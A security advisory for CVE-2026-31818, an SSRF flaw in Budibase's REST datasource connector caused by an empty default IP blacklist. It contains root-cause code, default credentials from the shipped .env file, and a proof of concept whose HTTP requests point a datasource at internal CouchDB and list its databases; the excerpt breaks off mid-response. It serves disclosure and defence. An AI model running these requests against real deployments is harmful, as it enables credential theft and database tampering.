GitHub Advisoryadvisory · npm

GHSA-7r9j-r86q-7g45 Budibase: Server-Side Request Forgery via REST Connector with Empty Default Blacklist

CRITICAL Published 2026-04-03 Modified 2026-04-03 Official page ↗
Aliases
CVE-2026-31818
Ecosystem
npm
Packages
@budibase/backend-core
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Weaknesses
CWE-1188, CWE-918
Reviewed
2026-04-03

Affected packages

• npm @budibase/backend-core: < 3.33.4 → fixed in 3.33.4

Description

1. Summary | Field | Value | |-------|-------| | Title | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration | | Product | Budibase | | Version | 3.30.6 (latest stable as of 2026-02-25) | | Component | REST Datasource Integration + Backend-Core Blacklist Module | | Severity | Critical | | Attack Vector | Network | | Privileges Required | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) | | User Interaction | None | | Affected Deployments | All self-hosted instances without explicit `BLACKLIST_IPS` configuration (believed to be the vast majority) | --- 2. Description A critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the `BLACKLIST_IPS` environment variable is not set by default in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns `false`, allowing all requests through without restriction. This allows any user with `Builder` privileges (or `QUERY WRITE` permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata. The vulnerability is particularly severe because: 1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data 2. CouchDB credentials are embedded in the environment variables visible to the application container 3. A successful exploit grants full read/write access to the entire Budibase data layer --- 3. Root Cause Analysis 3.1 Blacklist Implementation File: `packages/backend-core/src/blacklist/blacklist.ts` ```typescript // Line 23-37: Blacklist refresh reads from environment variable export async function refreshBlacklist() { const blacklist = env.BLACKLIST_IPS // ← reads BLACKLIST_IPS const list = blacklist?.split(",") || [] // ← empty array if unset let final: string[] = [] for (let addr of list) { // ... resolves domains to IPs } blackListArray = final // ← empty array } // Line 39-54: Blacklist check export async function isBlacklisted(address: string): Promise { if (!blackListArray) { await refreshBlacklist() } if (blackListArray?.length === 0) { return false // ← ALWAYS returns false when empty } // ... rest of check never executes } ``` Problem: When `BLACKLIST_IPS` is not set (the default), `blackListArray` is initialized as an empty array, and `isBlacklisted()` unconditionally returns `false` for every URL. 3.2 Default Configuration Missing BLACKLIST_IPS File: `hosting/.env` (official Docker Compose deployment template) ```env MAIN_PORT=10000 API_ENCRYPTION_KEY=testsecret JWT_SECRET=testsecret MINIO_ACCESS_KEY=budibase MINIO_SECRET_KEY=budibase COUCH_DB_PASSWORD=budibase COUCH_DB_USER=budibase REDIS_PASSWORD=budibase INTERNAL_API_KEY=budibase ... (19 other variables) BLACKLIST_IPS is NOT present ``` No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback. 3.3 REST Integration Blacklist Check File: `packages/server/src/integrations/rest.ts` ```typescript // Line 684-686: Blacklist check before fetch const url = this.getUrl(path, queryString, pagination, paginationValues) if (await blacklist.isBlacklisted(url)) { // ← always false throw new Error("Cannot connect to URL.") // ← never reached } // Line 708: response = await fetch(url, input) // ← unrestricted fetch ``` 3.4 Authorization Model | Operation | Endpoint | Required Permission | |-----------|----------|-------------------| | Create datasource | `POST /api/datasources` | `BUILDER` (app-level) | | Create query | `POST /api/queries` | `BUILDER` (app-level) | | Execute query | `POST /api/v2/queries/:id` | `QUERY WRITE` (can be granted to any app user) | Route definitions: • `packages/server/src/api/routes/datasource.ts:19` → `builderRoutes` • `packages/server/src/api/routes/query.ts:33` → `builderRoutes` (create) • `packages/server/src/api/routes/query.ts:55-66` → `writeRoutes` with `PermissionType.QUERY, PermissionLevel.WRITE` (execute) Key insight: The `BUILDER` role is an app-level permission, significantly lower than `GLOBAL_BUILDER` (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data. --- 4. Impact Analysis 4.1 Confidentiality — Critical An attacker can read: • All CouchDB databases (`/_all_dbs`) • User credentials including bcrypt password hashes, email addresses (`/global-db/_all_docs?include_docs=true`) • Platform configuration including encryption keys, JWT secrets • All application data across every app in the instance • Internal service metadata (MinIO storage, Redis) 4.2 Integrity — High Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can: • Modify user records to escalate privileges • Create new admin accounts directly in CouchDB • Alter application data in any app's database • Delete databases causing data loss 4.3 Availability — Medium • Resource exhaustion by making the server proxy large responses from internal services • Database destruction via CouchDB DELETE operations • Service disruption by modifying critical configuration documents 4.4 Scope Change The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A `Builder` user should only be able to configure app-level logic, but this vulnerability grants direct access to: • CouchDB (database layer) • MinIO (storage layer) • Redis (cache/session layer) • Any other service accessible from the Docker network --- 5. Proof of Concept 5.1 Environment Setup ```bash cd hosting/ docker compose up -d Wait for services to start Create admin account via POST /api/global/users/init Login to obtain session cookie ``` Tested on: Budibase v3.30.6, Docker Compose deployment with default `hosting/.env` 5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB ```http POST /api/datasources HTTP/1.1 Host: localhost:10000 Content-Type: application/json Cookie: budibase:auth= x-budibase-app-id: { "datasource": { "name": "Internal CouchDB", "source": "REST", "type": "datasource", "config": { "url": "http://couchdb-service:5984", "defaultHeaders": {} } } } ``` Response (201 — datasource created successfully): ```json { "datasource": { "_id": "datasource_4530e34a8b2e423f8f8eb53e2b2cefc6", "name": "Internal CouchDB", "source": "REST", "config": { "url": "http://couchdb-service:5984" } } } ``` No warning, no validation error — an internal hostname is accepted without restriction. 5.3 Step 2 — Query CouchDB Version (Confirm Connectivity) Create and execute a query to `GET /`: ```http POST /api/v2/queries/ HTTP/1.1 ``` Response — Internal CouchDB data returned to the attacker: ```json { "data": [{ "couchdb": "Welcome", "version": "3.3.3", "git_sha": "40afbcfc7", "uuid": "9cd97b58e2cef72e730a83247c377d2b", "features": ["search","access-ready","partitioned", "pluggable-storage-engines","reshard","scheduler"], "vendor": {"name": "The Apache Software Foundation"} }], "code": 200, "time": "44ms" } ``` 5.4 Step 3 — Enumerate All Databases Query: `GET /_all_dbs` with CouchDB admin credentials (from `.env`: `budibase:budibase`) ```json { "data": [ {"value": "_replicator"}, {"value": "_users"}, {"value": "app_dev_3eeb8d7949074250ae62f206ad0b…

Related

Alias · CVE (1)

  • CVE-2026-31818 Budibase is an open-source low-code platform. vulnerability

Weakness · CWE (2)

  • CWE-1188 Initialization of a Resource with an Insecure Default weakness
  • CWE-918 Server-Side Request Forgery weakness

References